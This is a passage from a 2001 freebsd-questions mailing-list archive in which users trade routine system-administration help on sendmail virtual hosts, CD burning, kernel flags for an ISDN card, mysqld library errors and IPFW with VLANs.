good indication that your changes did not take effect. Hope this helps, - Ryan -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:57:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 69A8937B421 for ; Sat, 24 Nov 2001 11:53:33 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id 828E449A24; Sat, 24 Nov 2001 20:53:31 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id 7E15849A23; Sat, 24 Nov 2001 20:53:28 +0100 (CET) Date: Sat, 24 Nov 2001 20:53:28 +0100 From: Axel Scheepers To: Kris Kennaway Cc: ann kok , freebsd-questions@FreeBSD.ORG Subject: Re: ssh start Message-ID: <20011124205328.A1353@mars.thuis> Reply-To: Axel Scheepers References: <20011121181117.50024.qmail@web20110.mail.yahoo.com> <20011121133917.B22853@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121133917.B22853@xor.obsecurity.org>; from kris@obsecurity.org on Wed, Nov 21, 2001 at 01:39:17PM -0800 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 01:39:17PM -0800, Kris Kennaway wrote: > > I met the following problem > > how do i fix it? > > > > [root@mail init.d]# ./sshd start > > Generating SSH1 RSA host key: [FAILED] > > That's not FreeBSD you're running there. Looks like RedHat. > > Kris Apart from that; What happens when you run ssh-keygen by hand ? Might let you see what's wrong. -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ Gnagloot, n.: A person who leaves all his ski passes on his jacket just to impress people. -- Rich Hall, "Sniglets" ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 12: 3: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 5E3B337B405 for ; Sat, 24 Nov 2001 11:58:59 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id NAA52009; Sat, 24 Nov 2001 13:58:55 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sat, 24 Nov 2001 13:58:55 -0600 (CST) From: Ryan Thompson To: "Dmitry A. Mottl" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD source code In-Reply-To: <003501c174ee$ad5bd640$8c0983d5@sinp.msu.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dmitry A. Mottl wrote to freebsd-questions@FreeBSD.ORG: > Hi, All > > Where can I read about FreeBSD kernel source code and FreeBSD > kernel internals? > > I've already read FreeBSD Programmers Handbook. All of the kernel manual pages are helpful. You'll also want to poke around in the system include directories and read the comments in the various header files. Take a look at the directory structure in /usr/src/sys Look at some open kernel PRs in GNATS and try to at least find the applicable source file(s). Obviously, you'll want to be very familiar with C before even thinking about kernel programming. :-) > Please give me only material in Internet, not printed. You say you don't want printed material, but if you want a really good understanding of the internals, I would still recommend "The Design and Implementation of the 4.4 BSD Operating System" (aka, the daemon book). There are plenty of references to this book. If your local stores don't have it, you can order it online. Hope this helps, - Ryan -- Ryan Thompson Network Administrator, Accounts SaskNow Technologies - http://www.sasknow.com #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 12:18: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from wildharerc.com (c796032-a.flrmnd1.tx.home.com [24.250.4.186]) by hub.freebsd.org (Postfix) with ESMTP id 8154037B417 for ; Sat, 24 Nov 2001 12:13:56 -0800 (PST) Received: from localhost (bsdlist@localhost) by wildharerc.com (8.11.6/8.11.6) with ESMTP id fAOJoK705144; Sat, 24 Nov 2001 13:50:20 -0600 (CST) (envelope-from bsdlist@wildharerc.com) Date: Sat, 24 Nov 2001 13:50:14 -0600 (CST) From: list subscriber To: Ryan Thompson Cc: Subject: Re: configuring email for virtual hosts In-Reply-To: Message-ID: <20011124134620.O5098-100000@wildharerc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Ryan: Thanks for your help. I did in fact remake the database, just went back and did it again and retested. Restarted sendmail after I did the make. Did not work. Received message for joeblow, but rejected others. I also tested without the entry in local-host-names, that doesn't work at all, rejects everything for xyz.com. Someone else suggested it is a class w, but I see no evidence of that and I don't really know what that means. Other ideas? TF On Sat, 24 Nov 2001, Ryan Thompson wrote: > list subscriber wrote to freebsd-questions@FreeBSD.ORG: > > > [...] > > In my /etc/mail/local-host-names, I have defined a domain name > > (xyz.com) > > > > In /etc/mail/virtusertable I have a line > > > > @xyz.com joeblow > > > > What I want to happen is mail for any name @ xyz.com to go into the > > mailbox joeblow. > > It looks like you've made the right additions to the config files, but > you have most likely neglected to rebuild the databases. Sendmail > doesn't read the config files directly... it expects database files to > exist with that information. > > For virtusertable, try the following: > > /usr/sbin/makemap hash /etc/mail/virtusertable < /etc/mail/virtusertable > kill -1 `cat /var/run/sendmail.pid` > > (The second line rehups sendmail, so it will re-read the databases). > > > > What actually happens is it will accept mail for joeblow@xyz.com is > > accepted correctly, but anything else is rejected. > > This is the default behaviour. Sendmail is basically not caring about > the @xyz.com portion, and is simply mapping to local usernames. > root@xyz.com, for instance, will be saved to root's mailbox. In other > words, this is a good indication that your changes did not take > effect. > > Hope this helps, > - Ryan > > -- > Ryan Thompson > Network Administrator, Accounts > > SaskNow Technologies - http://www.sasknow.com > #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 > > Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon > Toll-Free: 877-727-5669 (877-SASKNOW) North America > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 12:27:22 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id B780537B41B for ; Sat, 24 Nov 2001 12:23:18 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 732BEBD6D; Sat, 24 Nov 2001 12:17:57 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id MAA16803; Sat, 24 Nov 2001 12:17:57 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAOKFcN79460; Sat, 24 Nov 2001 12:15:38 -0800 (PST) (envelope-from swear@blarg.net) To: Phil R , freebsd-questions@FreeBSD.ORG Subject: Re: cannot burn a CD with burncd References: <20011124195852.U32004-100000@jodie.ncptiddische.net> From: swear@blarg.net (Gary W. Swearingen) Date: 24 Nov 2001 12:15:37 -0800 In-Reply-To: <20011124195852.U32004-100000@jodie.ncptiddische.net> Message-ID: Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Nils Holland writes: > You will need to > make an ISO image out of the files you want to burn before you can > actually burn them. I must be disagreeable again. Here's my notes on a raw-file backup and verify which I did last January (using afio instead of tar): /////// time find / /usr /u -xdev | afio -ozZ -b32k -c256 -M16m -T1k /big/fbsdbackup cd /big/fbsdbackup-dir; afio -izZ -b32k -c256 -M16m -T1k /big/fbsdbackup cd /big; burncd -f /dev/acd0c -s 2 -e blank data fbsdbackup fixate diff -r /big/fbsdbackup-dir / cd /big/fbsdbackup-dir; time afio -rzZ -b32k -c256 -M16m /dev/acd0c /////// I might have gotten lucky by creating a raw file that was a multiple of the device block size (2k), but the "burncd" man page says that pads short files so file size shouldn't be a problem. Maybe it is. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 12:38:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fremont.bolingbroke.com (adsl-216-102-90-210.dsl.snfc21.pacbell.net [216.102.90.210]) by hub.freebsd.org (Postfix) with ESMTP id E3B6137B405 for ; Sat, 24 Nov 2001 12:34:53 -0800 (PST) Received: from fremont.bolingbroke.com (fremont.bolingbroke.com [216.102.90.210]) by fremont.bolingbroke.com (8.12.1/8.12.1) with ESMTP id fAOKUrfk099450; Sat, 24 Nov 2001 12:34:38 -0800 (PST) Date: Sat, 24 Nov 2001 12:30:53 -0800 (PST) From: Ken Bolingbroke To: list subscriber Cc: freebsd-questions@FreeBSD.ORG Subject: Re: configuring email for virtual hosts In-Reply-To: <20011124134620.O5098-100000@wildharerc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Putting the hostname in /etc/mail/local-host-names is what puts it in "class w", so that's not the problem. That the mail is accepted when the hostname is in class w means you've got it right except for the virtusertable configuration. If rebuilding the map doesn't help, check that your sendmail configuration actually does include support for virtusertables. Ken Bolingbroke hacker@bolingbroke.com On Sat, 24 Nov 2001, list subscriber wrote: > Ryan: > > Thanks for your help. > > I did in fact remake the database, just went back and did it again and > retested. Restarted sendmail after I did the make. > > Did not work. Received message for joeblow, but rejected others. > I also tested without the entry in local-host-names, that doesn't work at > all, rejects everything for xyz.com. > > Someone else suggested it is a class w, but I see no evidence of that and > I don't really know what that means. > > Other ideas? > > TF > > > > On Sat, 24 Nov 2001, Ryan Thompson wrote: > > > list subscriber wrote to freebsd-questions@FreeBSD.ORG: > > > > > [...] > > > In my /etc/mail/local-host-names, I have defined a domain name > > > (xyz.com) > > > > > > In /etc/mail/virtusertable I have a line > > > > > > @xyz.com joeblow > > > > > > What I want to happen is mail for any name @ xyz.com to go into the > > > mailbox joeblow. > > > > It looks like you've made the right additions to the config files, but > > you have most likely neglected to rebuild the databases. Sendmail > > doesn't read the config files directly... it expects database files to > > exist with that information. > > > > For virtusertable, try the following: > > > > /usr/sbin/makemap hash /etc/mail/virtusertable < /etc/mail/virtusertable > > kill -1 `cat /var/run/sendmail.pid` > > > > (The second line rehups sendmail, so it will re-read the databases). > > > > > > > What actually happens is it will accept mail for joeblow@xyz.com is > > > accepted correctly, but anything else is rejected. > > > > This is the default behaviour. Sendmail is basically not caring about > > the @xyz.com portion, and is simply mapping to local usernames. > > root@xyz.com, for instance, will be saved to root's mailbox. In other > > words, this is a good indication that your changes did not take > > effect. > > > > Hope this helps, > > - Ryan > > > > -- > > Ryan Thompson > > Network Administrator, Accounts > > > > SaskNow Technologies - http://www.sasknow.com > > #106-380 3120 8th St E - Saskatoon, SK - S7H 0W2 > > > > Tel: 306-664-3600 Fax: 306-664-1161 Saskatoon > > Toll-Free: 877-727-5669 (877-SASKNOW) North America > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 12:56:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gumby.citytel.net (gumby.rupert.net [204.244.98.46]) by hub.freebsd.org (Postfix) with ESMTP id 4915337B405 for ; Sat, 24 Nov 2001 12:52:13 -0800 (PST) Received: from gumby.rupert.net (kwoody@gumby.rupert.net [204.244.98.46]) by gumby.citytel.net (8.11.0/8.11.0) with ESMTP id fAOKqCH03282; Sat, 24 Nov 2001 12:52:12 -0800 (PST) Date: Sat, 24 Nov 2001 12:52:11 -0800 (PST) From: Keith Woodworth To: freebsd-questions@FreeBSD.ORG Cc: kwoody@citytel.net Subject: mySQL strtoll error. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG mySQL: v3.23.44 binary distribution FreeBSD: 4.2 PHP 4.0.6 Having an issue with some simple sql queries failing with the error message: /usr/local/mysql/bin/mysqld: ready for connections /usr/libexec/ld-elf.so.1: /usr/local/mysql/bin/mysqld: Undefined symbol "strtoll" 011124 12:08:34 mysqld restarted This is a pre-compiled binary. This machine is a stats server for CounterStrike. PHP is compiled with the path to mysql. Ive dug around for strtoll on various archives (mysql and freebsd)and have found mentions of strtoll and others hving the same error but no fix or solution has been found. Is this a library issue with ld-elf.so.1? I'm thinking mySQL was compiled on a machine that has different libraries which is causing my problem. Anyone have a suggestion on this? I usually compile my own mySQL running BSD/OS and have yet to run across an error I have not been able to fix by reading docs/archives etc but this is one I cant seem to find. This 'fun' project is turning out to be kinda frustrating. Thanks, Keith To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13: 3:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id C68F437B417 for ; Sat, 24 Nov 2001 13:02:31 -0800 (PST) Received: from colt.ncptiddische.net (ppp-202.wobline.de [212.68.69.213]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAOL2PN03108; Sat, 24 Nov 2001 22:02:25 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAOL3Rt43828; Sat, 24 Nov 2001 22:03:27 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAOL2O632694; Sat, 24 Nov 2001 22:02:25 +0100 (CET) (envelope-from nils@tisys.org) Date: Sat, 24 Nov 2001 22:02:24 +0100 (CET) From: Nils Holland To: "Gary W. Swearingen" Cc: Phil R , Subject: Re: cannot burn a CD with burncd In-Reply-To: Message-ID: <20011124215725.K32679-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24 Nov 2001, Gary W. Swearingen wrote: > Nils Holland writes: > > > You will need to > > make an ISO image out of the files you want to burn before you can > > actually burn them. > > I must be disagreeable again. Here's my notes on a raw-file backup and > verify which I did last January (using afio instead of tar): Yes, of course that works. *But* most users seem to expect that the CDs they burn can be mounted and read from, i.e., they expect their burned CDs to hehave like "normal" CDs (if that makes sense, but I guess you know what I mean). People tend to think that they can do burncd data myfile.txt fixate and then mount_cd9660 /dev/acd0c /mnt and then less /mnt/myfile.txt This does, however, not really work. So, while you *can* and while I do put raw tar files (or whatever) onto CDs, most people that have been asking burncd questions on this list were wondering why they cannot simply burn all kinds of files onto a CD using burncd and then mount the CD and read these files. I told these folks that they'd have to create an isofs of their files first, *if* they want to mount and read their files. Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13:22:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail38.sdc1.sfba.home.com (femail38.sdc1.sfba.home.com [24.254.60.32]) by hub.freebsd.org (Postfix) with ESMTP id 1F39E37B4CF for ; Sat, 24 Nov 2001 13:22:25 -0800 (PST) Received: from home.com ([24.12.186.185]) by femail38.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP id <20011124212221.VIAO19080.femail38.sdc1.sfba.home.com@home.com> for ; Sat, 24 Nov 2001 13:22:21 -0800 Message-ID: <3C000F2C.1C368842@home.com> Date: Sat, 24 Nov 2001 13:20:44 -0800 From: Rob X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.ORG" Subject: getting "cerr" symbol not found with C++ Port Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've been hacking on the SciPy python package which uses the Blitz++ compiler. I'm getting "cerr" symbol not defined. I'm not a C++ hacker, but I assume I'm not linking to the right libraries. Has anyone else had this kind of problem with C++ on FreeBSD? It evidently does not occur with Linux, where the program was originally developed. Thanks, Rob. -- The Numeric Python EM Project www.members.home.net/europax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13:39:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from femail21.sdc1.sfba.home.com (femail21.sdc1.sfba.home.com [24.0.95.146]) by hub.freebsd.org (Postfix) with ESMTP id 6AA9437B417 for ; Sat, 24 Nov 2001 13:39:54 -0800 (PST) Received: from tspivey8 ([24.76.54.195]) by femail21.sdc1.sfba.home.com (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP id <20011124213950.YEZX10558.femail21.sdc1.sfba.home.com@tspivey8> for ; Sat, 24 Nov 2001 13:39:50 -0800 To: freebsd-questions@freebsd.org From: tyler spivey Reply-To: tyler spivey Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit Subject: /usr/bin/kzip nt working on 44.4-r Message-Id: <20011124213950.YEZX10558.femail21.sdc1.sfba.home.com@tspivey8> Date: Sat, 24 Nov 2001 13:39:50 -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i was going to send a pr, but decided to ask here first: i compiled a custom kernel, uname output below, and i wanted to test out kzip, no particular reason, just bored. # cd # cp /kernel . # kzip kernel then it said bad magic. what's going on? FreeBSD h24-76-54-195.vf.shawcable.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Sat Nov 24 12:42:04 GMT 2001 root@h24-76-54-195.vf.shawcable.net:/usr/src/sys/compile/FAST i386 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13:46:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp1.mx.pitdc1.stargate.net (smtp1.mx.pitdc1.stargate.net [206.210.69.141]) by hub.freebsd.org (Postfix) with SMTP id 3628437B416 for ; Sat, 24 Nov 2001 13:45:50 -0800 (PST) Received: (qmail 29382 invoked from network); 24 Nov 2001 16:19:29 -0000 Received: from unknown (HELO localhost) (63.48.182.186) by smtp1.mx.pitdc1.stargate.net with SMTP; 24 Nov 2001 16:19:29 -0000 X-Sender: kevand@stargate.net From: Kevin Andersen To: "Mortgage Borrower" Date: Sat, 24 Nov 2001 08:30:45 -0800 Subject: Need a Home Loan? Let Us Help! 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X-Mailer: NIMS ModWeb Module X-Sender: Tom_Parquette MIME-Version: 1.0 Message-ID: <1006638570.3ed7aff2Tom_Parquette@myrealbox.com> Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG My mouse port failed and I had to convert to a USB mouse. Every boot, the = system complains about /dev/psm0. I looked at the default rc.conf and a = few searches and I could not find a way to tell FreeBSD that I have a USB= mouse. Does anybody know how to get rid of this message? Cheers... Try not. Do or do not. There is no try. -- Yoda To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13:55:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from uranus.lan-ks.de (uranus.lan-ks.de [194.45.71.1]) by hub.freebsd.org (Postfix) with ESMTP id 4A58237B405 for ; Sat, 24 Nov 2001 13:55:20 -0800 (PST) Received: from pluto.lan-ks.de (pluto.lan-ks.de [194.45.71.78]) by uranus.lan-ks.de (8.11.6/8.11.5) with SMTP id fAOLrjx25791; Sat, 24 Nov 2001 22:53:45 +0100 (envelope-from evermann@pluto.lan-ks.de) Content-Type: text/plain; charset="iso-8859-1" From: "N. Evermann" To: Gary Jennejohn , freebsd-questions@freebsd.org Subject: Re: FreeBSD4.4 ,i4b +ELSA PCC16 ISDN Card; ISDND153 ERR Date: Sat, 24 Nov 2001 22:54:55 +0100 X-Mailer: KMail [version 1.2] Cc: evermann@pluto.lan-ks.de References: <01112221561600.00642@pluto.lan-ks.de> <200111230734.fAN7Y2P31782@peedub.muc.de> In-Reply-To: <200111230734.fAN7Y2P31782@peedub.muc.de> MIME-Version: 1.0 Message-Id: <01112422434600.00894@pluto.lan-ks.de> Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Friday 23 November 2001 00:35, Gary Jennejohn wrote: > On Thursday 22 November 2001 22:33, N. Evermann wrote: > > Hello, > > > > anyone known the Kernel isic0 flags for PCC16 ELSA ISDN CARD? > > Flags 20 + 19 not accept! > > > > Understand my littlebit english? > > /sys/i386/include/i4b_ioctl.h:#define CARD_TYPEP_PCC16 20 > /* ELSA PCC-16*/ > > Should be 20. Is correctly! What is the base of boot messages=20 "isic0: attach, unknown flags 20= " thank you=20 - Norbert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 13:58:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id C633037B405 for ; Sat, 24 Nov 2001 13:58:28 -0800 (PST) Received: (from dan@localhost) by dan.emsphone.com (8.11.6/8.11.6) id fAOLwQ098624; Sat, 24 Nov 2001 15:58:26 -0600 (CST) (envelope-from dan) Date: Sat, 24 Nov 2001 15:58:25 -0600 From: Dan Nelson To: tyler spivey Cc: freebsd-questions@FreeBSD.ORG Subject: Re: /usr/bin/kzip nt working on 44.4-r Message-ID: <20011124215825.GA46008@dan.emsphone.com> References: <20011124213950.YEZX10558.femail21.sdc1.sfba.home.com@tspivey8> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011124213950.YEZX10558.femail21.sdc1.sfba.home.com@tspivey8> User-Agent: Mutt/1.3.23.2i X-OS: FreeBSD 5.0-CURRENT X-message-flag: Outlook Error Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In the last episode (Nov 24), tyler spivey said: > i was going to send a pr, but decided to ask here first: > i compiled a custom kernel, uname output below, > and i wanted to test out kzip, no particular reason, just bored. > # cd > # cp /kernel . > # kzip kernel > then it said bad magic. > what's going on? > FreeBSD h24-76-54-195.vf.shawcable.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Sat Nov 24 12:42:04 GMT 2001 root@h24-76-54-195.vf.shawcable.net:/usr/src/sys/compile/FAST i386 kzip only works on a.out kernels and has been obsolate for a long time. Just gzip your kernel file; /boot/loader can read gzipped kernels just fine. -- Dan Nelson dnelson@allantgroup.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 14:57:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id 081DB37B417 for ; Sat, 24 Nov 2001 14:57:44 -0800 (PST) Received: from fwd00.sul.t-online.de by mailout03.sul.t-online.de with smtp id 167ljz-0002Zp-01; Sat, 24 Nov 2001 23:57:43 +0100 Received: from peedub.muc.de (520017439985-0001@[217.235.125.81]) by fmrl00.sul.t-online.com with esmtp id 167ljq-14LjeaC; Sat, 24 Nov 2001 23:57:34 +0100 Received: by peedub.muc.de (8.11.6/8.11.1) id fAOMv1d09532; Sat, 24 Nov 2001 23:57:01 +0100 (CET) (envelope-from garyj) Message-Id: <200111242257.fAOMv1d09532@peedub.muc.de> Content-Type: text/plain; charset="iso-8859-1" From: Gary Jennejohn Reply-To: garyj@jennejohn.org To: "N. Evermann" , freebsd-questions@freebsd.org Subject: Re: FreeBSD4.4 ,i4b +ELSA PCC16 ISDN Card; ISDND153 ERR Date: Sat, 24 Nov 2001 23:56:58 +0100 X-Mailer: KMail [version 1.3.1] Cc: evermann@pluto.lan-ks.de References: <01112221561600.00642@pluto.lan-ks.de> <200111230734.fAN7Y2P31782@peedub.muc.de> <01112422434600.00894@pluto.lan-ks.de> In-Reply-To: <01112422434600.00894@pluto.lan-ks.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Sender: 520017439985-0001@t-dialin.net Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday 24 November 2001 22:54, N. Evermann wrote: > On Friday 23 November 2001 00:35, Gary Jennejohn wrote: > > On Thursday 22 November 2001 22:33, N. Evermann wrote: > > > Hello, > > > > > > anyone known the Kernel isic0 flags for PCC16 ELSA ISDN > > > CARD? Flags 20 + 19 not accept! > > > > > > Understand my littlebit english? > > > > /sys/i386/include/i4b_ioctl.h:#define CARD_TYPEP_PCC16 20 > > /* ELSA PCC-16*/ > > > > Should be 20. > > Is correctly! > > What is the base of boot messages > "isic0: attach, > unknown flags 20" > This weill happen if you forgot ``options ELSA_PCC16" in the kernel configuration file. -- Gary Jennejohn garyj@jennejohn.org gj@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 15: 0:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mauibuilt.com (mauibuilt.com [205.166.249.50]) by hub.freebsd.org (Postfix) with ESMTP id 4D4E237B405 for ; Sat, 24 Nov 2001 15:00:40 -0800 (PST) Received: from mauibuilt.com (puga@puga.mauibuilt.com [205.166.10.2]) by mauibuilt.com (8.11.6/8.11.6) with ESMTP id fAON0PP28871; Sat, 24 Nov 2001 13:00:25 -1000 (HST) (envelope-from puga@mauibuilt.com) Message-ID: <3C002685.AE3A0D1@mauibuilt.com> Date: Sat, 24 Nov 2001 13:00:22 -1000 From: Richard Puga Reply-To: puga@mauibuilt.com Organization: Maui Built Machines X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Dru Cc: freebsd-questions@FreeBSD.ORG Subject: Re: IPFW/VLAN References: <20011124082416.R76925-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Yes I do have the vlan entry in my kernel. I have tried it with and without. The MTU of the fxp cards it set to its new default of 1500 (as of 4.4) and curiously enough can not be set higher as the maximum length of an ether net packet is 1518. The bridge passes the 802.1q packets just fine and I can view them with tcpdump. it seems that ipfw ignores them, either treating them as a malformed ether net packet or one that is not ip.. im not sure that's just a guess.. Thanks for your reply Richard Puga puga@mauibuilt.com Dru wrote: > On Fri, 23 Nov 2001, Chuck Root wrote: > > > I am trying to use a freebsd box with 2 fxp NIC's in it as a 